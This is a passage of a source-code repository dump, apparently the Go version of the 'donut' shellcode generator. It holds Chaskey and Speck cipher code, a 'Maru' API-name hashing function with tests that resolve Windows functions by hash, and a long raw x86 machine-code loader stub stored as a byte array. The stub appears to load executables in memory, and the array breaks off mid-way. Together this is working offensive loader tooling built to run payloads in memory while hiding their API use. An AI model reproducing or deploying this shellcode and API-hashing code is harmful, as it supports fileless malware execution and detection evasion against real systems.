Chaskey(mk, x) 84 | 85 | // XOR plaintext with ciphertext 86 | r := uint32(0) 87 | if length > CipherBlockLen { 88 | r = CipherBlockLen 89 | } else { 90 | r = length 91 | } 92 | for i := uint32(0); i < r; i++ { 93 | retval[i+p] = data[i+p] ^ x[i] 94 | } 95 | // update length + position 96 | length -= r 97 | p += r 98 | 99 | // update counter 100 | for i := CipherBlockLen - 1; i >= 0; i-- { 101 | ctr[i]++ 102 | if ctr[i] != 0 { 103 | break 104 | } 105 | } 106 | } 107 | return retval 108 | } 109 | 110 | // Speck 64/128 111 | func Speck(mk []byte, p uint64) uint64 { 112 | w := make([]uint32, 2) 113 | buf := new(bytes.Buffer) 114 | binary.Write(buf, binary.LittleEndian, p) 115 | binary.Read(buf, binary.LittleEndian, &w[0]) 116 | binary.Read(buf, binary.LittleEndian, &w[1]) 117 | k := make([]uint32, 4) 118 | 119 | r := bytes.NewBuffer(mk) 120 | for c := 0; c < 4; c++ { 121 | binary.Read(r, binary.LittleEndian, &k[c]) 122 | } 123 | 124 | for i := uint32(0); i < 27; i++ { 125 | // encrypt 64-bit plaintext 126 | w[0] = (ROTR32(w[0], 8) + w[1]) ^ k[0] 127 | w[1] = ROTR32(w[1], 29) ^ w[0] 128 | 129 | // create next 32-bit subkey 130 | t := k[3] 131 | k[3] = (ROTR32(k[1], 8) + k[0]) ^ i 132 | k[0] = ROTR32(k[0], 29) ^ k[3] 133 | k[1] = k[2] 134 | k[2] = t 135 | } 136 | 137 | // return 64-bit ciphertext 138 | b := bytes.NewBuffer([]byte{}) 139 | binary.Write(b, binary.LittleEndian, w[0]) 140 | binary.Write(b, binary.LittleEndian, w[1]) 141 | num := binary.LittleEndian.Uint64(b.Bytes()) 142 | return num 143 | } 144 | 145 | // Maru hash 146 | func Maru(input []byte, iv uint64) uint64 { // todo: iv and return must be 8 bytes 147 | 148 | // set H to initial value 149 | //h := binary.LittleEndian.Uint64(iv) 150 | h := iv 151 | b := make([]byte, MARU_BLK_LEN) 152 | 153 | idx, length, end := 0, 0, 0 154 | for { 155 | if end > 0 { 156 | break 157 | } 158 | // end of string or max len? 159 | if length == len(input) || input[length] == 0 || length == MARU_MAX_STR { 160 | // zero remainder of M 161 | for j := idx; j < MARU_BLK_LEN; /*-idx*/ j++ { 162 | b[j] = 0 163 | } 164 | // store the end bit 165 | b[idx] = 0x80 166 | // have we space in M for api length? 167 | if idx >= MARU_BLK_LEN-4 { 168 | // no, update H with E 169 | h ^= Speck(b, h) 170 | // zero M 171 | b = make([]byte, MARU_BLK_LEN) 172 | } 173 | // store total length in bits 174 | binary.LittleEndian.PutUint32(b[MARU_BLK_LEN-4:], uint32(length)*8) 175 | idx = MARU_BLK_LEN 176 | end++ 177 | } else { 178 | // store character from api string 179 | b[idx] = input[length] 180 | idx++ 181 | length++ 182 | } 183 | if idx == MARU_BLK_LEN { 184 | // update H with E 185 | h ^= Speck(b, h) 186 | // reset idx 187 | idx = 0 188 | } 189 | } 190 | return h 191 | } 192 | -------------------------------------------------------------------------------- /donut/donut_crypto_test.go: -------------------------------------------------------------------------------- 1 | package donut 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "log" 7 | "testing" 8 | ) 9 | 10 | var ( 11 | // 128-bit master key 12 | key = []byte{0x56, 0x09, 0xe9, 0x68, 0x5f, 0x58, 0xe3, 0x29, 13 | 0x40, 0xec, 0xec, 0x98, 0xc5, 0x22, 0x98, 0x2f} 14 | // 128-bit plain text 15 | plain = []byte{0xb8, 0x23, 0x28, 0x26, 0xfd, 0x5e, 0x40, 0x5e, 16 | 0x69, 0xa3, 0x01, 0xa9, 0x78, 0xea, 0x7a, 0xd8} 17 | // 128-bit cipher text 18 | cipher = []byte{0xd5, 0x60, 0x8d, 0x4d, 0xa2, 0xbf, 0x34, 0x7b, 19 | 0xab, 0xf8, 0x77, 0x2f, 0xdf, 0xed, 0xde, 0x07} 20 | ) 21 | 22 | func Test_Chaskey_1(t *testing.T) { 23 | data := plain 24 | outdata := Chaskey(key, data) 25 | 26 | if bytes.Compare(outdata, cipher) == 0 { 27 | t.Log("Chaskey Test Passed") 28 | } else { 29 | t.Log("Chaskey Test Failed\n", outdata, cipher) 30 | t.Fail() 31 | } 32 | } 33 | 34 | func Test_Maru_1(t *testing.T) { 35 | iv := binary.LittleEndian.Uint64([]byte{0, 0, 0, 0, 0, 0, 0, 0}) 36 | dllHash := Maru([]byte("oleaut32.dll"), iv) 37 | hash := Maru([]byte("SafeArrayCreateVector"), iv) ^ dllHash 38 | log.Printf("Hash: %x (dllHash was %x)\n", hash, dllHash) 39 | 40 | if 0xbd77af2569689c8a == hash { 41 | t.Log("Maru Test Passed") 42 | } else { 43 | t.Log("Maru Test Failed\n") 44 | t.Fail() 45 | } 46 | } 47 | 48 | func Test_Maru_2(t *testing.T) { 49 | 50 | iv := binary.LittleEndian.Uint64([]byte{0xEB, 0xA7, 0xF4, 0xDE, 0x07, 0x5B, 0xF8, 0x88}) 51 | dllHash := Maru([]byte("kernel32.dll"), iv) 52 | hash := Maru([]byte("Sleep"), iv) ^ dllHash 53 | log.Printf("Hash: %x (dllHash was %x)\n", hash, dllHash) 54 | 55 | //0x17, 0xFC, 0xA0, 0x40, 0xD2, 0xBA, 0x66, 0xC7 56 | if 0xc766bad240a0fc17 == hash { 57 | t.Log("Maru Test Passed") 58 | } else { 59 | t.Log("Maru Test Failed\n") 60 | t.Fail() 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /donut/loader_exe_x86.go: -------------------------------------------------------------------------------- 1 | package donut 2 | 3 | // LOADER_EXE_X86 - stub for EXE PE files 4 | var LOADER_EXE_X86 = []byte{ 5 | 6 | 0x55, 0x89, 0xe5, 0x56, 0x53, 0x81, 0xec, 0x10, 0x03, 0x00, 0x00, 0xc7, 7 | 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x4d, 0x08, 0x8b, 0x99, 0x3c, 8 | 0x02, 0x00, 0x00, 0x8b, 0x89, 0x38, 0x02, 0x00, 0x00, 0x89, 0xce, 0x83, 9 | 0xf6, 0x00, 0x89, 0xf0, 0x80, 0xf7, 0x00, 0x89, 0xda, 0x09, 0xd0, 0x85, 10 | 0xc0, 0x0f, 0x84, 0xe4, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 11 | 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x89, 0x45, 12 | 0xe8, 0x89, 0x55, 0xec, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 13 | 0x28, 0x89, 0x44, 0x24, 0x0c, 0x89, 0x54, 0x24, 0x10, 0x8b, 0x45, 0xe8, 14 | 0x8b, 0x55, 0xec, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 15 | 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xd7, 0x0c, 0x00, 0x00, 0x89, 0x45, 16 | 0xe4, 0x83, 0x7d, 0xe4, 0x00, 0x0f, 0x84, 0x20, 0x01, 0x00, 0x00, 0xe8, 17 | 0xd6, 0x3f, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x30, 0x12, 0x40, 0x00, 0xb8, 18 | 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0xc2, 19 | 0xc7, 0x44, 0x24, 0x14, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 20 | 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x89, 0x44, 0x24, 0x0c, 0x89, 21 | 0x54, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 22 | 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0xff, 0xd0, 0x83, 23 | 0xec, 0x18, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xac, 0x01, 24 | 0x00, 0x00, 0x8b, 0x80, 0xa8, 0x01, 0x00, 0x00, 0x89, 0x45, 0xe8, 0x89, 25 | 0x55, 0xec, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 0x28, 0x89, 26 | 0x44, 0x24, 0x0c, 0x89, 0x54, 0x24, 0x10, 0x8b, 0x45, 0xe8, 0x8b, 0x55, 27 | 0xec, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 0x45, 0x08, 28 | 0x89, 0x04, 0x24, 0xe8, 0x3d, 0x0c, 0x00, 0x00, 0x89, 0x45, 0xe0, 0x8b, 29 | 0x45, 0x08, 0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x90, 0x00, 30 | 0x00, 0x00, 0x89, 0x45, 0xe8, 0x89, 0x55, 0xec, 0x8b, 0x45, 0x08, 0x8b, 31 | 0x50, 0x2c, 0x8b, 0x40, 0x28, 0x89, 0x44, 0x24, 0x0c, 0x89, 0x54, 0x24, 32 | 0x10, 0x8b, 0x45, 0xe8, 0x8b, 0x55, 0xec, 0x89, 0x44, 0x24, 0x04, 0x89, 33 | 0x54, 0x24, 0x08, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xfb, 0x0b, 34 | 0x00, 0x00, 0x89, 0x45, 0xdc, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x9c, 0x00, 35 | 0x00, 0x00, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, 0x89, 0x45, 0xe8, 0x89, 36 | 0x55, 0xec, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 0x28, 0x89, 37 | 0x44, 0x24, 0x0c, 0x89, 0x54, 0x24, 0x10, 0x8b, 0x45, 0xe8, 0x8b, 0x55, 38 | 0xec, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 0x45, 0x08, 39 | 0x89, 0x04, 0x24, 0xe8, 0xb9, 0x0b, 0x00, 0x00, 0x89, 0x45, 0xd8, 0x83, 40 | 0x7d, 0xe0, 0x00, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0xeb, 0x07, 0xb8, 41 | 0xff, 0xff, 0xff, 0xff, 0xeb, 0x7f, 0x83, 0x7d, 0xdc, 0x00, 0x74, 0x76, 42 | 0x83, 0x7d, 0xd8, 0x00, 0x74, 0x70, 0xc7, 0x85, 0x0c, 0xfd, 0xff, 0xff, 43 | 0x07, 0x00, 0x01, 0x00, 0x8b, 0x45, 0xd8, 0xff, 0xd0, 0x89, 0xc2, 0x8d, 44 | 0x85, 0x0c, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 0x89, 0x14, 0x24, 45 | 0x8b, 0x45, 0xdc, 0xff, 0xd0, 0x83, 0xec, 0x08, 0x8b, 0x45, 0x08, 0x8b, 46 | 0x90, 0x3c, 0x02, 0x00, 0x00, 0x8b, 0x80, 0x38, 0x02, 0x00, 0x00, 0x89, 47 | 0x85, 0xc4, 0xfd, 0xff, 0xff, 0x8b, 0x85, 0xd0, 0xfd, 0xff, 0xff, 0x83, 48 | 0xe0, 0xfc, 0x89, 0x85, 0xd0, 0xfd, 0xff, 0xff, 0xc7, 0x44, 0x24, 0x04, 49 | 0x00, 0x00, 0x00, 0x00, 0x8d, 0x85, 0x0c, 0xfd, 0xff, 0xff, 0x89, 0x04, 50 | 0x24, 0x8b, 0x45, 0xe0, 0xff, 0xd0, 0x83, 0xec, 0x08, 0xeb, 0x0b, 0x8b, 51 | 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x8b, 0x45, 52 | 0xf4, 0x8d, 0x65, 0xf8, 0x5b, 0x5e, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x57, 53 | 0x56, 0x53, 0x81, 0xec, 0xbc, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 54 | 0x50, 0x4c, 0x8b, 0x40, 0x48, 0x89, 0x45, 0xd0, 0x89, 0x55, 0xd4, 0x8b, 55 | 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 0x28, 0x89, 0x44, 0x24, 0x0c, 56 | 0x89, 0x54, 0x24, 0x10, 0x8b, 0x45, 0xd0, 0x8b, 0x55, 0xd4, 0x89, 0x44, 57 | 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 58 | 0xe8, 0xd8, 0x0a, 0x00, 0x00, 0x89, 0x45, 0xcc, 0x8b, 0x45, 0x08, 0x8b, 59 | 0x50, 0x54, 0x8b, 0x40, 0x50, 0x89, 0x45, 0xd0, 0x89, 0x55, 0xd4, 0x8b, 60 | 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 0x28, 0x89, 0x44, 0x24, 0x0c, 61 | 0x89, 0x54, 0x24, 0x10, 0x8b, 0x45, 0xd0, 0x8b, 0x55, 0xd4, 0x89, 0x44, 62 | 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 63 | 0xe8, 0x9c, 0x0a, 0x00, 0x00, 0x89, 0x45, 0xc8, 0x8b, 0x45, 0x08, 0x8b, 64 | 0x90, 0x8c, 0x01, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x89, 65 | 0x45, 0xd0, 0x89, 0x55, 0xd4, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 66 | 0x40, 0x28, 0x89, 0x44, 0x24, 0x0c, 0x89, 0x54, 0x24, 0x10, 0x8b, 0x45, 67 | 0xd0, 0x8b, 0x55, 0xd4, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 68 | 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x5a, 0x0a, 0x00, 0x00, 0x89, 69 | 0x45, 0xc4, 0x83, 0x7d, 0xcc, 0x00, 0x74, 0x0c, 0x83, 0x7d, 0xc8, 0x00, 70 | 0x74, 0x06, 0x83, 0x7d, 0xc4, 0x00, 0x75, 0x0a, 0xb8, 0xff, 0xff, 0xff, 71 | 0xff, 0xe9, 0xae, 0x06, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x00, 0xc7, 72 | 0x44, 0x24, 0x0c, 0x04, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00, 73 | 0x30, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0xc7, 0x04, 0x24, 0x00, 0x00, 74 | 0x00, 0x00, 0x8b, 0x45, 0xcc, 0xff, 0xd0, 0x83, 0xec, 0x10, 0x89, 0x45, 75 | 0xc0, 0x83, 0x7d, 0xc0, 0x00, 0x75, 0x27, 0x8b, 0x45, 0x08, 0x8b, 0x80, 76 | 0x30, 0x02, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x75, 0x0f, 0xc7, 0x04, 0x24, 77 | 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xc4, 0xff, 0xd0, 0x83, 0xec, 0x04, 78 | 0xb8, 0xff, 0xff, 0xff, 0xff, 0xe9, 0x56, 0x06, 0x00, 0x00, 0x8b, 0x45, 79 | 0x08, 0x8b, 0x00, 0x89, 0x44, 0x24, 0x08, 0x8b, 0x45, 0x08, 0x89, 0x44, 80 | 0x24, 0x04, 0x8b, 0x45, 0xc0, 0x89, 0x04, 0x24, 0xe8, 0x25, 0x40, 0x00, 81 | 0x00, 0x8b, 0x45, 0xc0, 0x89, 0x45, 0x08, 0xc7, 0x44, 0x24, 0x08, 0x20, 82 | 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8d, 83 | 0x85, 0x70, 0xff, 0xff, 0xff, 0x89, 0x04, 0x24, 0xe8, 0xd3, 0x3f, 0x00, 84 | 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x34, 0x02, 0x00, 0x00, 0x83, 0xf8, 85 | 0x03, 0x0f, 0x85, 0x89, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x05, 0x40, 86 | 0x02, 0x00, 0x00, 0x89, 0x45, 0xbc, 0x8b, 0x45, 0x08, 0x8b, 0x00, 0x2d, 87 | 0x40, 0x02, 0x00, 0x00, 0x8b, 0x55, 0x08, 0x8d, 0x4a, 0x14, 0x8b, 0x55, 88 | 0x08, 0x83, 0xc2, 0x04, 0x89, 0x44, 0x24, 0x0c, 0x8b, 0x45, 0xbc, 0x89, 89 | 0x44, 0x24, 0x08, 0x89, 0x4c, 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0xc7, 90 | 0x44, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 0x28, 91 | 0x8b, 0x4d, 0x08, 0x81, 0xc1, 0xf0, 0x07, 0x00, 0x00, 0x89, 0x44, 0x24, 92 | 0x04, 0x89, 0x54, 0x24, 0x08, 0x89, 0x0c, 0x24, 0xe8, 0xbd, 0x41, 0x00, 93 | 0x00, 0x89, 0x45, 0xb0, 0x89, 0x55, 0xb4, 0x8b, 0x45, 0x08, 0x8b, 0x90, 94 | 0xf4, 0x08, 0x00, 0x00, 0x8b, 0x80, 0xf0, 0x08, 0x00, 0x00, 0x89, 0xc7, 95 | 0x33, 0x7d, 0xb0, 0x89, 0xfb, 0x89, 0xd0, 0x33, 0x45, 0xb4, 0x89, 0xc6, 96 | 0x89, 0xf0, 0x09, 0xd8, 0x85, 0xc0, 0x0f, 0x85, 0x72, 0x04, 0x00, 0x00, 97 | 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x28, 0x8b, 0x58, 0x2c, 0x8b, 0x45, 0x08, 98 | 0x8b, 0x50, 0x34, 0x8b, 0x40, 0x30, 0x89, 0x4c, 0x24, 0x0c, 0x89, 0x5c, 99 | 0x24, 0x10, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 0x45, 100 | 0x08, 0x89, 0x04, 0x24, 0xe8, 0xdc, 0x08, 0x00, 0x00, 0x89, 0xc2, 0x8b, 101 | 0x45, 0x08, 0x89, 0x50, 0x30, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x30, 0x85, 102 | 0xc0, 0x75, 0x0a, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xe9, 0x33, 0x05, 0x00, 103 | 0x00, 0x8b, 0x45, 0x08, 0x05, 0x44, 0x02, 0x00, 0x00, 0x89, 0x45, 0xdc, 104 | 0xc7, 0x45, 0xe4, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x1c, 0x8b, 0x55, 0xdc, 105 | 0x8b, 0x45, 0xe4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x8d, 0x8d, 0x6c, 0xfe, 106 | 0xff, 0xff, 0x8b, 0x55, 0xe4, 0x01, 0xca, 0x88, 0x02, 0x83, 0x45, 0xe4, 107 | 0x01, 0x8b, 0x55, 0xdc, 0x8b, 0x45, 0xe4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 108 | 0x84, 0xc0, 0x74, 0x18, 0x8b, 0x55, 0xdc, 0x8b, 0x45, 0xe4, 0x01, 0xd0, 109 | 0x0f, 0xb6, 0x00, 0x3c, 0x3b, 0x74, 0x09, 0x81, 0x7d, 0xe4, 0x03, 0x01, 110 | 0x00, 0x00, 0x76, 0xbd, 0x83, 0x7d, 0xe4, 0x00, 0x74, 0x2d, 0x8b, 0x45, 111 | 0xe4, 0x83, 0xc0, 0x01, 0x01, 0x45, 0xdc, 0x8d, 0x95, 0x6c, 0xfe, 0xff, 112 | 0xff, 0x8b, 0x45, 0xe4, 0x01, 0xd0, 0xc6, 0x00, 0x00, 0x8b, 0x45, 0x08, 113 | 0x8b, 0x50, 0x30, 0x8d, 0x85, 0x6c, 0xfe, 0xff, 0xff, 0x89, 0x04, 0x24, 114 | 0xff, 0xd2, 0x83, 0xec, 0x04, 0xeb, 0x81, 0x90, 0xc7, 0x45, 0xe4, 0x01, 115 | 0x00, 0x00, 0x00, 0xeb, 0x5b, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x28, 0x8b, 116 | 0x58, 0x2c, 0x8b, 0x45, 0x08, 0x8b, 0x55, 0xe4, 0x83, 0xc2, 0x06, 0x8d, 117 | 0x14, 0xd0, 0x8b, 0x02, 0x8b, 0x52, 0x04, 0x89, 0x4c, 0x24, 0x0c, 0x89, 118 | 0x5c, 0x24, 0x10, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 0x08, 0x8b, 119 | 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xf7, 0x07, 0x00, 0x00, 0x89, 0xc1, 120 | 0x8b, 0x45, 0x08, 0x8b, 0x55, 0xe4, 0x83, 0xc2, 0x0c, 0x89, 0x0c, 0x90, 121 | 0x8b, 0x45, 0x08, 0x8b, 0x55, 0xe4, 0x83, 0xc2, 0x0c, 0x8b, 0x04, 0x90, 122 | 0x85, 0xc0, 0x0f, 0x84, 0x41, 0x03, 0x00, 0x00, 0x83, 0x45, 0xe4, 0x01, 123 | 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x40, 0x02, 0x00, 0x00, 0x3b, 0x45, 0xe4, 124 | 0x77, 0x97, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xe4, 0x06, 0x00, 0x00, 0x83, 125 | 0xf8, 0x02, 0x75, 0x21, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x4d, 126 | 0x08, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x11, 0x03, 0x00, 0x00, 0x8b, 127 | 0x45, 0x08, 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 0x89, 0x45, 0xe0, 0xeb, 128 | 0x2b, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 129 | 0x03, 0x0f, 0x84, 0xf4, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 130 | 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 0x01, 0x75, 0x0b, 0x8b, 0x45, 0x08, 131 | 0x05, 0x20, 0x09, 0x00, 0x00, 0x89, 0x45, 0xe0, 0x8b, 0x45, 0x08, 0x8b, 132 | 0x80, 0x6c, 0x05, 0x00, 0x00, 0x83, 0xf8, 0x01, 0x74, 0x4c, 0x8b, 0x45, 133 | 0x08, 0x89, 0x04, 0x24, 0xe8, 0x59, 0x36, 0x00, 0x00, 0x89, 0x45, 0xac, 134 | 0x83, 0x7d, 0xac, 0x00, 0x75, 0x12, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x6c, 135 | 0x05, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x0f, 0x84, 0xaa, 0x02, 0x00, 0x00, 136 | 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x53, 0x38, 0x00, 0x00, 0x89, 137 | 0x45, 0xac, 0x83, 0x7d, 0xac, 0x00, 0x75, 0x12, 0x8b, 0x45, 0x08, 0x8b, 138 | 0x80, 0x6c, 0x05, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x0f, 0x84, 0x87, 0x02, 139 | 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x8b, 0x40, 0x08, 0x83, 0xf8, 0x01, 0x0f, 140 | 0x84, 0xaf, 0x01, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x8b, 0x80, 0x24, 0x05, 141 | 0x00, 0x00, 0x05, 0x30, 0x05, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x0c, 0x04, 142 | 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00, 0x30, 0x00, 0x00, 0x89, 143 | 0x44, 0x24, 0x04, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 144 | 0xcc, 0xff, 0xd0, 0x83, 0xec, 0x10, 0x89, 0x45, 0xa8, 0x83, 0x7d, 0xa8, 145 | 0x00, 0x0f, 0x84, 0x3d, 0x02, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x30, 146 | 0x05, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 147 | 0xa8, 0x89, 0x04, 0x24, 0xe8, 0x05, 0x3d, 0x00, 0x00, 0x8b, 0x45, 0xe0, 148 | 0x8b, 0x40, 0x08, 0x83, 0xf8, 0x03, 0x74, 0x1a, 0x8b, 0x45, 0xe0, 0x8b, 149 | 0x40, 0x08, 0x83, 0xf8, 0x04, 0x74, 0x0f, 0x8b, 0x45, 0xe0, 0x8b, 0x40, 150 | 0x08, 0x83, 0xf8, 0x05, 0x0f, 0x85, 0x04, 0x01, 0x00, 0x00, 0x8b, 0x45, 151 | 0x08, 0x8b, 0x88, 0xe4, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x8b, 0x40, 152 | 0x08, 0x83, 0xe8, 0x01, 0x80, 0xcc, 0x01, 0x0f, 0xb7, 0xc0, 0x8d, 0x55, 153 | 0x94, 0x89, 0x54, 0x24, 0x08, 0x8d, 0x55, 0x98, 0x89, 0x54, 0x24, 0x04, 154 | 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x0c, 0x89, 0x45, 0xa4, 0x83, 155 | 0x7d, 0xa4, 0x00, 0x0f, 0x85, 0xc6, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x98, 156 | 0xc7, 0x44, 0x24, 0x0c, 0x04, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 157 | 0x00, 0x30, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0xc7, 0x04, 0x24, 0x00, 158 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xcc, 0xff, 0xd0, 0x83, 0xec, 0x10, 0x89, 159 | 0x45, 0xa0, 0x8b, 0x45, 0x08, 0x8b, 0xb0, 0xe8, 0x00, 0x00, 0x00, 0x8b, 160 | 0x45, 0xe0, 0x8b, 0x98, 0x20, 0x05, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x05, 161 | 0x28, 0x05, 0x00, 0x00, 0x89, 0x85, 0x64, 0xfe, 0xff, 0xff, 0x8b, 0x45, 162 | 0xe0, 0x8b, 0x88, 0x24, 0x05, 0x00, 0x00, 0x8b, 0x45, 0xa8, 0x8d, 0xb8, 163 | 0x28, 0x05, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x8b, 0x40, 0x08, 0x83, 0xe8, 164 | 0x01, 0x80, 0xcc, 0x01, 0x0f, 0xb7, 0xd0, 0x8b, 0x45, 0xa0, 0x89, 0x44, 165 | 0x24, 0x18, 0x8d, 0x45, 0x90, 0x89, 0x44, 0x24, 0x14, 0x89, 0x5c, 0x24, 166 | 0x10, 0x8b, 0x85, 0x64, 0xfe, 0xff, 0xff, 0x89, 0x44, 0x24, 0x0c, 0x89, 167 | 0x4c, 0x24, 0x08, 0x89, 0x7c, 0x24, 0x04, 0x89, 0x14, 0x24, 0xff, 0xd6, 168 | 0x83, 0xec, 0x1c, 0x89, 0x45, 0xa4, 0xc7, 0x44, 0x24, 0x08, 0x00, 0xc0, 169 | 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 170 | 0xa0, 0x89, 0x04, 0x24, 0x8b, 0x45, 0xc8, 0xff, 0xd0, 0x83, 0xec, 0x0c, 171 | 0x83, 0x7d, 0xa4, 0x00, 0x0f, 0x85, 0x08, 0x01, 0x00, 0x00, 0x8b, 0x45, 172 | 0xa8, 0x89, 0x45, 0xe0, 0xeb, 0x2e, 0x8b, 0x45, 0xe0, 0x8b, 0x40, 0x08, 173 | 0x83, 0xf8, 0x02, 0x75, 0x23, 0x8b, 0x45, 0xa8, 0x8d, 0x90, 0x28, 0x05, 174 | 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x05, 0x28, 0x05, 0x00, 0x00, 0x89, 0x54, 175 | 0x24, 0x04, 0x89, 0x04, 0x24, 0xe8, 0x0d, 0x39, 0x00, 0x00, 0x8b, 0x45, 176 | 0xa8, 0x89, 0x45, 0xe0, 0x8b, 0x45, 0xe0, 0x8b, 0x00, 0x83, 0xf8, 0x03, 177 | 0x74, 0x0a, 0x8b, 0x45, 0xe0, 0x8b, 0x00, 0x83, 0xf8, 0x04, 0x75, 0x17, 178 | 0x8b, 0x45, 0xe0, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 179 | 0x24, 0xe8, 0xc5, 0x15, 0x00, 0x00, 0xe9, 0xa8, 0x00, 0x00, 0x00, 0x8b, 180 | 0x45, 0xe0, 0x8b, 0x00, 0x83, 0xf8, 0x01, 0x74, 0x0a, 0x8b, 0x45, 0xe0, 181 | 0x8b, 0x00, 0x83, 0xf8, 0x02, 0x75, 0x53, 0x8d, 0x85, 0x70, 0xff, 0xff, 182 | 0xff, 0x89, 0x44, 0x24, 0x08, 0x8b, 0x45, 0xe0, 0x89, 0x44, 0x24, 0x04, 183 | 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x75, 0x0a, 0x00, 0x00, 0x85, 184 | 0xc0, 0x74, 0x1c, 0x8d, 0x85, 0x70, 0xff, 0xff, 0xff, 0x89, 0x44, 0x24, 185 | 